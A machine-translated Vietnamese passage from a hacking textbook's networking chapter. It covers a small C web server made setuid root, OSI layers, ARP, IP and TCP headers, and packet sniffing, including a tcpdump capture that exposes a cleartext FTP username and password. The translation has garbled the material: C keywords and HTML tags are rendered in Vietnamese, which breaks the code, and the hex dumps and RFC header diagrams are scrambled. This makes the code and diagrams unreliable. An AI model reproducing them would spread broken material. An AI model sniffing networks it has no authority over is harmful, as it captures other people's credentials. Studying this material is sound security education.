thêm 'index.html' vào cuối. strcpy(resource, WEBROOT); // Bắt đầu tài nguyên với đường dẫn gốc
web strcat(resource, ptr); // và nối nó với đường dẫn tài nguyên. fd = open(resource, O_RDONLY, 0); //
Thử mở tệp. printf("\tĐang mở \'%s\'\t", resource); if(fd == -1) { // Nếu không tìm thấy tệp printf("
404 Không tìm thấy\n"); send_string(sockfd, "HTTP/1.0 404 KHÔNG TÌM THẤY\r\n");
send_string(sockfd, "Máy chủ: Máy chủ web nhỏ\r\n\r\n");
send_string(sockfd, "<html><head><title>404 Không tìm thấy</
title></head>"); send_string(sockfd,
"<body><h1>Không tìm thấy URL</h1></body></html>\r\n"); } else { // Nếu không,
hãy phục vụ tệp. printf(" 200 OK\n"); send_string(sockfd, "HTTP/1.0 200 OK\r\n");
send_string(sockfd, "Máy chủ: Máy chủ web nhỏ\r\n\r\n"); if(ptr == request + 4) { // Sau đó, đây là yêu cầu GET
if( (length = get_file_size(fd)) == -1) fatal("lấy kích thước tệp tài nguyên"); if( (ptr = (unsigned char *)
malloc(length)) == NULL) fatal("phân bổ bộ nhớ để đọc tài nguyên");
read(fd, ptr, length); // Đọc
tệp vào bộ nhớ. send(sockfd, ptr, length, 0); // Gửi đến socket.
Mạng lưới 215
Machine Translated by Google
free(ptr); // Giải phóng bộ nhớ tệp.
}
close(fd); // Đóng tệp.
} // Kết thúc nếu tìm thấy/không tìm thấy khối tìm kiếm tệp.
} // Kết thúc khối if cho yêu cầu hợp lệ.
} // Kết thúc lệnh chặn nếu HTTP hợp lệ.
shutdown(sockfd, SHUT_RDWR); // Đóng socket một cách nhẹ nhàng.
}
/* Hàm này chấp nhận một mô tả tệp mở và trả về * kích thước của tệp được liên kết.
Trả về -1 nếu lỗi.
*/
int lấy_kích_thước_tệp(int fd) {
cấu trúc stat stat_struct;
nếu(fstat(fd, &stat_struct) == -1)
trả về -1;
trả về (int) stat_struct.st_size;
}
Hàm handle_connection sử dụng hàm strstr() để tìm chuỗi con HTTP/ trong bộ
đệm yêu cầu. Hàm strstr() trả về một con trỏ đến chuỗi con, sẽ nằm ngay cuối yêu
cầu. Chuỗi được kết thúc tại đây và các yêu cầu HEAD và GET được nhận dạng là các
yêu cầu có thể xử lý. Yêu cầu HEAD sẽ chỉ trả về các tiêu đề, trong khi yêu cầu
GET cũng sẽ trả về tài nguyên được yêu cầu (nếu có thể tìm thấy).
Các tệp index.html và image.jpg đã được đưa vào thư mục webroot, như được
hiển thị trong đầu ra bên dưới, và sau đó chương trình tinyweb được biên dịch.
Quyền root là cần thiết để liên kết với bất kỳ cổng nào dưới 1024, vì vậy chương
trình được setuid root và được thực thi. Đầu ra gỡ lỗi của máy chủ hiển thị kết
quả yêu cầu của trình duyệt web http://127.0.0.1:
người đọc@hacking:~/booksrc $ ls -l webroot/
tổng cộng 52
-rwxr--r-- 1 người đọc người đọc 46794 2007-05-28 23:43 image.jpg
-rw-r--r-- 1 người đọc người đọc 261 2007-05-28 23:42 index.html
reader@hacking:~/booksrc $ cat webroot/index.html <html>
<head><title>Một trang web mẫu</title></head>
<body bgcolor="#000000" văn bản="#ffffffff">
<giữa>
<h1>Đây là một trang web mẫu</h1>
...và đây là một số văn bản mẫu<br>
<br>
..và thậm chí là một hình ảnh mẫu:<br>
<img src="hình ảnh.jpg"><br>
</trung tâm>
</thân>
</html>
reader@hacking:~/booksrc $ gcc -o tinyweb tinyweb.c
reader@hacking:~/booksrc $ sudo chown root ./tinyweb
người đọc@hacking:~/booksrc $ sudo chmod u+s ./tinyweb
người đọc@hacking:~/booksrc $ ./tinyweb
216 0x400
Machine Translated by Google
Chấp nhận yêu cầu web trên cổng 80
Đã nhận được yêu cầu từ 127.0.0.1:52996 "GET / HTTP/1.1"
Mở './webroot/index.html' 200 OK
Đã nhận được yêu cầu từ 127.0.0.1:52997 "GET /image.jpg HTTP/1.1"
Mở './webroot/image.jpg'
200 Được
Đã nhận được yêu cầu từ 127.0.0.1:52998 "GET /favicon.ico HTTP/1.1"
Mở './webroot/favicon.ico' 404 Không tìm thấy
Địa chỉ 127.0.0.1 là địa chỉ vòng lặp đặc biệt định tuyến đến máy cục
bộ. Yêu cầu ban đầu nhận được index.html từ máy chủ web, sau đó yêu cầu
image.jpg. Ngoài ra, trình duyệt tự động yêu cầu favicon.ico để cố gắng lấy
biểu tượng cho trang web. Ảnh chụp màn hình bên dưới hiển thị kết quả của
yêu cầu này trong trình duyệt.
0x430 Lột lớp bên dưới
Khi bạn sử dụng trình duyệt web, tất cả bảy lớp OSI đều được chăm sóc cho bạn,
cho phép bạn tập trung vào việc duyệt web chứ không phải giao thức. Ở các lớp
trên của OSI, nhiều giao thức có thể là văn bản thuần túy vì tất cả các chi
tiết khác của kết nối đã được các lớp dưới xử lý. Các socket tồn tại trên lớp
phiên (5), cung cấp giao diện để gửi dữ liệu từ máy chủ này sang máy chủ khác.
TCP trên lớp vận chuyển (4) cung cấp độ tin cậy và kiểm soát vận chuyển,
trong khi IP trên lớp mạng (3) cung cấp địa chỉ và giao tiếp cấp gói.
Ethernet trên lớp liên kết dữ liệu (2) cung cấp địa chỉ giữa các cổng
Ethernet, phù hợp với LAN (Mạng cục bộ) cơ bản
Mạng lưới 217
Machine Translated by Google
truyền thông. Ở dưới cùng, lớp vật lý (1) chỉ đơn giản là dây và giao thức được sử dụng để gửi bit từ
thiết bị này sang thiết bị khác. Một thông báo HTTP duy nhất sẽ được gói trong nhiều lớp khi nó
được truyền qua các khía cạnh khác nhau của truyền thông.
Quá trình này có thể được coi như một bộ máy quan liêu phức tạp giữa các văn phòng, gợi nhớ đến
bộ phim Brazil. Ở mỗi tầng, có một nhân viên lễ tân có trình độ chuyên môn cao, người chỉ hiểu ngôn
ngữ và giao thức của tầng đó.
Khi các gói dữ liệu được truyền đi, mỗi nhân viên lễ tân thực hiện các nhiệm vụ cần thiết của lớp
riêng của mình, đặt gói vào một phong bì liên văn phòng, viết tiêu đề ở bên ngoài và chuyển cho nhân
viên lễ tân ở lớp tiếp theo bên dưới. Đến lượt mình, nhân viên lễ tân đó thực hiện các nhiệm vụ cần
thiết của lớp của mình, đặt toàn bộ phong bì vào một phong bì khác, viết tiêu đề ở bên ngoài và chuyển
nó đi. Lưu lượng mạng là một bộ máy quan liêu huyên náo của các máy chủ, máy khách và kết nối ngang
hàng. Ở các lớp cao hơn, lưu lượng có thể là dữ liệu tài chính, email hoặc về cơ bản là bất kỳ thứ gì.
Bất kể các gói chứa gì, các giao thức được sử dụng ở các lớp thấp hơn để di chuyển dữ liệu từ điểm
A đến điểm B thường giống nhau. Khi bạn hiểu được bộ máy quan liêu văn phòng của các giao thức lớp
thấp phổ biến này, bạn có thể xem trộm bên trong các phong bì khi đang vận chuyển và thậm chí làm giả
tài liệu để thao túng hệ thống.
0x431 Lớp liên kết dữ liệu
Lớp thấp nhất có thể nhìn thấy là lớp liên kết dữ liệu. Quay lại phép so sánh giữa lễ tân và bộ máy
hành chính, nếu lớp vật lý bên dưới được coi là xe thư liên văn phòng và lớp mạng ở trên là hệ thống
bưu chính toàn cầu, thì lớp liên kết dữ liệu là hệ thống thư liên văn phòng. Lớp này cung cấp một
cách để giải quyết và gửi tin nhắn cho bất kỳ ai khác trong văn phòng, cũng như để tìm ra ai đang ở
trong văn phòng.
Ethernet tồn tại trên lớp này, cung cấp một hệ thống định địa chỉ chuẩn cho tất cả các thiết bị
Ethernet. Các địa chỉ này được gọi là địa chỉ Kiểm soát Truy cập Phương tiện (MAC). Mỗi thiết bị
Ethernet được gán một địa chỉ duy nhất toàn cầu gồm sáu byte, thường được viết theo hệ thập lục phân
dưới dạng xx:xx:xx:xx:xx:xx. Các địa chỉ này đôi khi cũng được gọi là địa chỉ phần cứng, vì mỗi địa
chỉ là duy nhất đối với một phần cứng và được lưu trữ trong bộ nhớ mạch tích hợp của thiết bị. Địa chỉ
MAC có thể được coi là số An sinh Xã hội cho phần cứng, vì mỗi phần cứng được cho là có một địa chỉ MAC
duy nhất.
Tiêu đề Ethernet có kích thước 14 byte và chứa địa chỉ MAC nguồn và đích cho gói Ethernet này.
Địa chỉ Ethernet cũng cung cấp một địa chỉ phát sóng đặc biệt, bao gồm tất cả các số nhị phân 1
(ff:ff:ff:ff:ff:ff).
Bất kỳ gói Ethernet nào được gửi đến địa chỉ này sẽ được gửi đến tất cả các thiết bị được kết nối.
Địa chỉ MAC của thiết bị mạng không có nghĩa là thay đổi, nhưng địa chỉ IP của nó có thể thay
đổi thường xuyên. Khái niệm về địa chỉ IP không tồn tại ở cấp độ này, chỉ có địa chỉ phần cứng mới tồn
tại, do đó cần có phương pháp để tương quan
218 0x400
Machine Translated by Google
hai chương trình định địa chỉ. Trong văn phòng, thư bưu điện gửi đến nhân viên
tại địa chỉ văn phòng sẽ được chuyển đến bàn làm việc thích hợp. Trong Ethernet,
phương pháp này được gọi là Giao thức phân giải địa chỉ (ARP).
Giao thức này cho phép tạo “biểu đồ chỗ ngồi” để liên kết một địa chỉ IP với một
phần cứng. Có bốn loại tin nhắn ARP khác nhau, nhưng hai loại quan trọng nhất là tin
nhắn yêu cầu ARP và tin nhắn trả lời ARP.
Bất kỳ tiêu đề Ethernet nào của gói tin đều bao gồm giá trị kiểu mô tả gói tin.
Kiểu này được sử dụng để xác định xem gói tin là tin nhắn loại ARP hay gói tin IP.
Yêu cầu ARP là một thông điệp được gửi đến địa chỉ phát sóng, chứa địa chỉ IP và
địa chỉ MAC của người gửi và về cơ bản có nội dung là "Này, ai có IP này? Nếu là bạn,
vui lòng trả lời và cho tôi biết địa chỉ MAC của bạn". Phản hồi ARP là phản hồi tương
ứng được gửi đến địa chỉ MAC (và địa chỉ IP) của người yêu cầu có nội dung là "Đây là
địa chỉ MAC của tôi và tôi có địa chỉ IP này".
Hầu hết các triển khai sẽ tạm thời lưu trữ các cặp địa chỉ MAC/IP nhận được trong
phản hồi ARP, do đó các yêu cầu và phản hồi ARP không cần thiết cho mọi gói tin. Các
bộ nhớ đệm này giống như sơ đồ chỗ ngồi giữa các văn phòng.
Ví dụ, nếu một hệ thống có địa chỉ IP là 10.10.10.20 và địa chỉ MAC là 00:00:00:aa:aa:aa, và
một hệ thống khác trên cùng mạng có địa chỉ IP là 10.10.10.50 và địa chỉ MAC là 00:00:00:bb:bb:bb,
thì không hệ thống nào có thể giao tiếp với hệ thống kia cho đến khi chúng biết địa chỉ MAC của
nhau.
Yêu cầu ARP
00:00:00:aa:aa:aa
Nguồn MAC:
Mục tiêu MAC:
ff:ff:ff:ff:ff:ff
“Ai có 10.10.10.50?”
Hệ thống thứ hai
Hệ thống đầu tiên
Địa chỉ IP:
MAC:
10.10.10.20
Địa chỉ IP:
00:00:00:aa:aa:aa
MAC:
10.10.10.50
00:00:00:bb:bb:bb
Trả lời ARP
Nguồn MAC:
Mục tiêu MAC:
00:00:00:bb:bb:bb
00:00:00:aa:aa:aa
“10.10.10.50 ở thời điểm 00:00:00:bb:bb:bb.”
Nếu hệ thống đầu tiên muốn thiết lập kết nối TCP qua IP đến địa chỉ IP của
thiết bị thứ hai là 10.10.10.50, hệ thống đầu tiên sẽ kiểm tra bộ đệm ARP của nó trước
để xem có mục nào cho 10.10.10.50 không. Vì đây là lần đầu tiên hai hệ thống này cố
gắng giao tiếp, nên sẽ không có mục nào như vậy và một yêu cầu ARP sẽ được gửi đến địa
chỉ phát sóng, nói rằng, "Nếu bạn là 10.10.10.50, vui lòng trả lời tôi lúc
00:00:00:aa:aa:aa." Vì yêu cầu này sử dụng địa chỉ phát sóng, nên mọi hệ thống trên
mạng đều thấy yêu cầu, nhưng chỉ hệ thống có địa chỉ IP tương ứng mới được cho là sẽ
phản hồi. Trong trường hợp này, hệ thống thứ hai phản hồi bằng phản hồi ARP được gửi
trực tiếp trở lại 00:00:00:aa:aa:aa với nội dung: “Tôi là 10.10.10.50 và tôi đang ở
00:00:00:bb:bb:bb.”
Hệ thống đầu tiên nhận được phản hồi này, lưu cặp địa chỉ IP và MAC vào bộ nhớ đệm ARP
và sử dụng địa chỉ phần cứng để giao tiếp.
Mạng lưới 219
Machine Translated by Google
0x432 Lớp mạng
Tầng mạng giống như một dịch vụ bưu chính toàn cầu cung cấp phương pháp định địa chỉ và phân
phối được sử dụng để gửi mọi thứ đi khắp mọi nơi. Giao thức được sử dụng ở tầng này để định
địa chỉ và phân phối Internet được gọi một cách thích hợp là Giao thức Internet (IP); phần
lớn Internet sử dụng IP phiên bản 4.
Mọi hệ thống trên Internet đều có một địa chỉ IP, bao gồm một sắp xếp bốn byte quen
thuộc dưới dạng xx.xx.xx.xx. Tiêu đề IP cho các gói tin trong lớp này có kích thước 20 byte
và bao gồm nhiều trường và bitflag khác nhau như được định nghĩa trong RFC 791.
Từ RFC 791
[Trang 10]
Tháng 9 năm 1981
Giao thức Internet
3. THÔNG SỐ KỸ THUẬT
3.1. Định dạng tiêu đề Internet
Tóm tắt nội dung của tiêu đề internet như sau:
0
1
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|Phiên bản| IHL |Loại dịch vụ|
Tổng chiều dài
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Nhận dạng
|
|Cờ|
Độ lệch mảnh
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Giao thức
Tổng kiểm tra tiêu đề
| Thời gian để sống |
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Địa chỉ nguồn
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Địa chỉ đích
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
|
Tùy chọn
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
Đệm
|
Ví dụ về tiêu đề Datagram Internet
Hình 4.
Lưu ý rằng mỗi vạch chia biểu thị một vị trí bit.
Biểu đồ ASCII mô tả đáng ngạc nhiên này cho thấy các trường này và vị trí của chúng
trong tiêu đề. Các giao thức chuẩn có tài liệu tuyệt vời.
Tương tự như tiêu đề Ethernet, tiêu đề IP cũng có một trường giao thức để mô tả loại dữ
liệu trong gói tin và địa chỉ nguồn và đích để định tuyến. Ngoài ra, tiêu đề còn mang
một tổng kiểm tra, để giúp phát hiện lỗi truyền tải và các trường để xử lý phân mảnh gói tin.
Giao thức Internet chủ yếu được sử dụng để truyền các gói được gói trong các lớp
cao hơn. Tuy nhiên, các gói Giao thức tin nhắn điều khiển Internet (ICMP)
220 0x400
Machine Translated by Google
cũng tồn tại trên lớp này. Các gói ICMP được sử dụng để nhắn tin và chẩn đoán.
IP kém tin cậy hơn bưu điện—không có gì đảm bảo rằng một gói tin IP thực sự sẽ đến đích cuối
cùng. Nếu có vấn đề, một gói tin ICMP sẽ được gửi lại để thông báo cho người gửi về vấn đề đó.
ICMP cũng thường được sử dụng để kiểm tra khả năng kết nối. Các thông điệp ICMP Echo
Request và Echo Reply được sử dụng bởi một tiện ích gọi là ping. Nếu một máy chủ muốn kiểm tra
xem nó có thể định tuyến lưu lượng đến máy chủ khác hay không, nó sẽ ping máy chủ từ xa bằng
cách gửi ICMP Echo Request. Khi nhận được ICMP Echo Request, máy chủ từ xa sẽ gửi lại ICMP
Echo Reply. Các thông điệp này có thể được sử dụng để xác định độ trễ kết nối giữa hai máy
chủ. Tuy nhiên, điều quan trọng cần nhớ là ICMP và IP đều không có kết nối; tất cả những gì
lớp giao thức này thực sự quan tâm là đưa gói tin đến địa chỉ đích của nó.
Đôi khi một liên kết mạng sẽ có giới hạn về kích thước gói tin, không cho phép
việc truyền các gói tin lớn. IP có thể giải quyết tình huống này bằng cách phân mảnh các gói
tin, như được hiển thị ở đây.
Gói IP lớn
Tiêu đề
Dữ liệu
Dữ liệu tiếp tục
Thêm dữ liệu
Các mảnh gói tin
Tiêu đề
Dữ liệu
Tiêu đề
Dữ liệu tiếp tục
Tiêu đề
Thêm dữ liệu
Gói tin được chia thành các mảnh gói tin nhỏ hơn có thể đi qua liên kết mạng, các tiêu
đề IP được đặt trên mỗi mảnh và chúng được gửi đi. Mỗi mảnh có một giá trị bù trừ mảnh khác
nhau, được lưu trữ trong tiêu đề. Khi đích nhận được các mảnh này, các giá trị bù trừ được sử
dụng để lắp ráp lại gói tin IP gốc.
Các điều khoản như phân mảnh hỗ trợ việc phân phối các gói tin IP, nhưng điều này không
có tác dụng gì trong việc duy trì kết nối hoặc đảm bảo việc phân phối. Đây là công việc của
các giao thức ở lớp vận chuyển.
0x433 Lớp vận chuyển
Tầng vận chuyển có thể được coi là tuyến đầu tiên của nhân viên lễ tân văn phòng, nhận thư từ tầng mạng.
Nếu khách hàng muốn trả lại một mặt hàng bị lỗi, họ sẽ gửi tin nhắn yêu cầu số Ủy quyền trả lại vật
liệu (RMA). Sau đó, nhân viên lễ tân sẽ làm theo giao thức trả lại bằng cách yêu cầu biên lai và cuối
cùng cấp số RMA để khách hàng có thể gửi sản phẩm đi. Bưu điện chỉ quan tâm đến việc gửi những tin nhắn
(và bưu kiện) này qua lại, chứ không quan tâm đến những gì bên trong chúng.
Mạng lưới 221
Machine Translated by Google
Hai giao thức chính ở lớp này là Transmission Control Protocol (TCP) và User
Datagram Protocol (UDP). TCP là giao thức được sử dụng phổ biến nhất cho các dịch
vụ trên Internet: telnet, HTTP (lưu lượng truy cập web), SMTP (lưu lượng truy cập
email) và FTP (truyền tệp) đều sử dụng TCP. Một trong những lý do khiến TCP trở nên
phổ biến là vì nó cung cấp kết nối minh bạch nhưng đáng tin cậy và song hướng giữa hai
địa chỉ IP. Stream socket sử dụng kết nối TCP/IP. Kết nối song hướng với TCP tương tự
như sử dụng điện thoại—sau khi quay số, một kết nối được tạo ra để cả hai bên có thể
giao tiếp. Độ tin cậy chỉ có nghĩa là TCP sẽ đảm bảo rằng tất cả dữ liệu sẽ đến đích
theo đúng thứ tự. Nếu các gói tin của một kết nối bị xáo trộn và đến không theo thứ tự,
TCP sẽ đảm bảo chúng được sắp xếp lại theo thứ tự trước khi chuyển dữ liệu lên lớp
tiếp theo. Nếu một số gói tin ở giữa kết nối bị mất, đích sẽ giữ lại các gói tin mà nó
có trong khi nguồn truyền lại các gói tin bị mất.
Tất cả các chức năng này được thực hiện thông qua một tập hợp các cờ, được gọi là
cờ TCP, và bằng cách theo dõi các giá trị được gọi là số thứ tự. Các cờ TCP như sau:
Ý nghĩa của cờ TCP
Mục đích
URG
Xác định dữ liệu quan trọng
Cấp bách
Xác nhận ACK Xác nhận một gói tin; nó được bật cho phần lớn
sự liên quan
PSH
Xô
Yêu cầu người nhận đẩy dữ liệu qua thay vì lưu trữ đệm
RST
Cài lại
Đặt lại kết nối
ĐỒNG BỘ
Đồng bộ hóa
Đồng bộ hóa số thứ tự khi bắt đầu kết nối
VÒNG
Hoàn thành
Khép lại một cách nhẹ nhàng mối quan hệ khi cả hai bên nói lời tạm biệt
Các cờ này được lưu trữ trong tiêu đề TCP cùng với nguồn và
cổng đích. Tiêu đề TCP được chỉ định trong RFC 793.
Từ RFC 793
[Trang 14]
Tháng 9 năm 1981
Giao thức kiểm soát truyền dẫn
3. THÔNG SỐ CHỨC NĂNG
3.1. Định dạng tiêu đề
Các phân đoạn TCP được gửi dưới dạng các gói dữ liệu internet. Giao thức Internet
tiêu đề mang một số trường thông tin, bao gồm nguồn và
địa chỉ máy chủ đích [2]. Một tiêu đề TCP theo sau internet
tiêu đề, cung cấp thông tin cụ thể cho giao thức TCP. Điều này
sự phân chia cho phép tồn tại các giao thức cấp máy chủ khác ngoài
Giao thức TCP.
Định dạng tiêu đề TCP
222 0x400
Machine Translated by Google
1
0
2
3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
Cổng nguồn
Cảng đích
|
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Số thứ tự
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
Số xác nhận
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|U|A|P|R|S|F|
|
| Dữ liệu |
Cửa sổ
|
|G|K|H|T|N|N|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
Tổng kiểm tra
|
|
Con trỏ khẩn cấp
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
|
|
Tùy chọn
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
|
| Bù trừ| Đã đặt trước |R|C|S|S|Y|I| | |
dữ liệu
|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- +-+-+-+-+-+-+-+
Đệm
|
Định dạng tiêu đề TCP
Lưu ý rằng mỗi vạch chia biểu thị một vị trí bit.
Hình 3.
Số thứ tự và số xác nhận được sử dụng để duy trì
trạng thái. Các cờ SYN và ACK được sử dụng cùng nhau để mở kết nối trong
quy trình bắt tay ba bước. Khi máy khách muốn mở kết nối với máy chủ, một
gói tin có cờ SYN bật nhưng cờ ACK tắt sẽ được gửi đến máy chủ. Sau đó, máy
chủ phản hồi bằng một gói tin có cả cờ SYN và ACK bật. Để hoàn tất kết nối,
máy khách gửi lại một gói tin có cờ SYN tắt nhưng cờ ACK bật. Sau đó, mọi
gói tin trong kết nối sẽ có cờ ACK bật và cờ SYN tắt.
Chỉ có hai gói tin đầu tiên của kết nối có cờ SYN vì các gói tin đó được sử
dụng để đồng bộ hóa số thứ tự.
Gói SYN
SYN bật ACK tắt
số thứ tự # = 324808530
xác nhận # = 0
Khách hàng
Gói SYN/ACK
SYN trên ACK trên
Máy chủ
số thứ tự # = 288666267
xác nhận # = 324808531
Gói ACK
Tắt SYN, bật ACK
số thứ tự # = 324808531
xác nhận # = 288666268
Mạng lưới 223
Machine Translated by Google
Số thứ tự cho phép TCP sắp xếp lại các gói tin không theo thứ tự, xác định xem các gói tin có
bị thiếu hay không và ngăn chặn việc trộn lẫn các gói tin từ các kết nối khác.
Khi một kết nối được khởi tạo, mỗi bên tạo ra một số thứ tự ban đầu. Số này được truyền đạt
đến bên kia trong hai SYN đầu tiên
các gói tin của quá trình bắt tay kết nối. Sau đó, với mỗi gói tin được gửi đi, số thứ tự được tăng
lên theo số byte tìm thấy trong phần dữ liệu của gói tin. Số thứ tự này được bao gồm trong tiêu
đề gói tin TCP. Ngoài ra, mỗi tiêu đề TCP có một số xác nhận, chỉ đơn giản là số thứ tự của phía
bên kia cộng với một.
TCP rất tuyệt vời cho các ứng dụng cần độ tin cậy và giao tiếp hai chiều. Tuy nhiên, chi phí
của chức năng này được trả bằng chi phí giao tiếp.
UDP có ít chi phí và chức năng tích hợp hơn nhiều so với TCP. Việc thiếu chức năng này khiến
nó hoạt động giống như giao thức IP: Không có kết nối và không đáng tin cậy. Nếu không có chức năng
tích hợp để tạo kết nối và duy trì độ tin cậy, UDP là một giải pháp thay thế mong đợi ứng dụng xử
lý các vấn đề này. Đôi khi không cần kết nối và UDP nhẹ là giao thức tốt hơn nhiều cho những tình
huống này. Tiêu đề UDP, được định nghĩa trong RFC 768, tương đối nhỏ. Nó chỉ chứa bốn giá trị 16
bit theo thứ tự này: cổng nguồn, cổng đích, độ dài và tổng kiểm tra.
0x440 Đánh hơi mạng
Trên lớp liên kết dữ liệu có sự phân biệt giữa mạng chuyển mạch và không chuyển mạch. Trên mạng
không chuyển mạch, các gói Ethernet đi qua mọi thiết bị trên mạng, mong đợi mỗi thiết bị hệ thống
chỉ xem các gói được gửi đến địa chỉ đích của nó. Tuy nhiên, việc đặt một thiết bị ở chế độ hỗn
tạp là khá đơn giản, khiến nó xem tất cả các gói, bất kể địa chỉ đích. Hầu hết các chương trình
bắt gói, chẳng hạn như tcpdump, sẽ thả thiết bị mà chúng đang lắng nghe vào chế độ hỗn tạp theo mặc
định. Chế độ hỗn tạp có thể được đặt bằng ifconfig, như được thấy trong đầu ra sau.
người đọc@hacking:~/booksrc $ ifconfig eth0
eth0 Liên kết encap:Ethernet HWaddr 00:0C:29:34:61:65 ĐANG CHẠY PHÁT SÓNG ĐA
PHÁT MTU:1500 Số liệu:1
Gói RX:17115 lỗi:0 bị loại bỏ:0 tràn:0 khung:0
Gói TX:1927 lỗi:0 bị loại bỏ:0 tràn:0 nhà mạng:0
va chạm:0 txqueuelen:1000 RX
byte:4602913 (4,3 MiB) TX byte:434449 (424,2 KiB)
Ngắt: 16 Địa chỉ cơ sở: 0x2024
reader@hacking:~/booksrc $ sudo ifconfig eth0 promisc
reader@hacking:~/booksrc $ ifconfig eth0
eth0 Liên kết encap:Ethernet HWaddr 00:0C:29:34:61:65 UP BROADCAST ĐANG CHẠY
PROMISC MULTICAST MTU:1500 Metric:1
Gói RX:17181 lỗi:0 bị loại bỏ:0 tràn:0 khung:0
Gói TX:1927 lỗi:0 bị loại bỏ:0 tràn:0 nhà mạng:0
va chạm:0 txqueuelen:1000 RX
byte:4668475 (4,4 MiB) TX byte:434449 (424,2 KiB)
224 0x400
Machine Translated by Google
Ngắt: 16 Địa chỉ cơ sở: 0x2024
người đọc@hacking:~/booksrc $
Hành động bắt các gói tin không nhất thiết phải để công chúng xem được gọi là đánh hơi. Đánh hơi
các gói tin ở chế độ hỗn tạp trên mạng không chuyển mạch có thể đưa ra đủ loại thông tin hữu ích, như
kết quả sau đây cho thấy.
người đọc@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'
tcpdump: đang lắng nghe trên eth0
21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) xác nhận 1 chiến
thắng 17316 <nop,nop,dấu thời gian 466808 920202> (DF)
0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 0x0010
c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 0x0020 8018
43a4 a12f 0000 0101 080a 0007 1f78 0x0030 000e 0a8a
E..].e@........v
........)..s^...
..C../.........x
3232 3020 5459 5053 6f66 7420 0x0040 4654 5020 5365
....220.TYPPhần mềm.
7276 6572 2030 2e39 392e
Máy chủ FTP.0.99.
0x0050 3133 13
21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: .
<nop,nop,timestamp 920662 466808> (DF) [tos 0x10]
0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 0x0010
c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c 0x0020 8010
ack 42 thắng 5840
Đ..4.o@.@.!.....
16d0 81db 0000 0101 080a 000e 0c56 0x0030 0007 1f78
...v....^...)...
...............V
21:27:52.406177
...x
192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win 5840 <nop,nop,timestamp
921434 466808> (DF) [tos 0x10]
0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!.....
0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...
0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z
0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..
21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 thắng
17304 <nop,nop,dấu thời gian 466885 921434> (DF)
0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 0x0010
E..V..@....m...v
c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 0x0020 8018
........)...^...
4398 4e2c 0000 0101 080a 0007 1fc5 0x0030 000e 0f5a
..CN,..........
3333 3120 5061 7373 776f 7264 0x0040 2072 6571 7569
...Z331.Mật khẩu
7265 6420 666f 7220 6c65 0x0050 6563 21:27:52.415832
.bắt buộc.cho.le
và
ack 76 thắng 5840
192.168.0.193.32778 > 192.168.0.118.ftp: . <nop,nop,timestamp
921435 466885> (DF) [tos 0x10]
0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 0x0010 c0a8
E..4.q@.@.!.....
0076 800a 0015 5ed4 9cf4 292e 8abe 0x0020 8010 16d0 7e5b 0000
...v....^...)...
0101 080a 000e 0f5b 0x0030 0007 1fc5 21:27:56.155458
....~[........[
....
192.168.0.193.32778 >
192.168.0.118.ftp: P 13:27(14) ack 76 thắng 5840 <nop,nop,dấu thời gian 921809 466885> (DF) [tos
0x10]
0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 0x0010 c0a8 0076
E..Br@.@.!.....
800a 0015 5ed4 9cf4 292e 8abe 0x0020 8018 16d0 90b5 0000 0101
080a 000e 10d1 0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465
...v....^...)...
................
0x0040 0d0a 21:27:56.179427 192.168.0.118.ftp >
....PASS.l8@nite
192.168.0.193.32778:
..
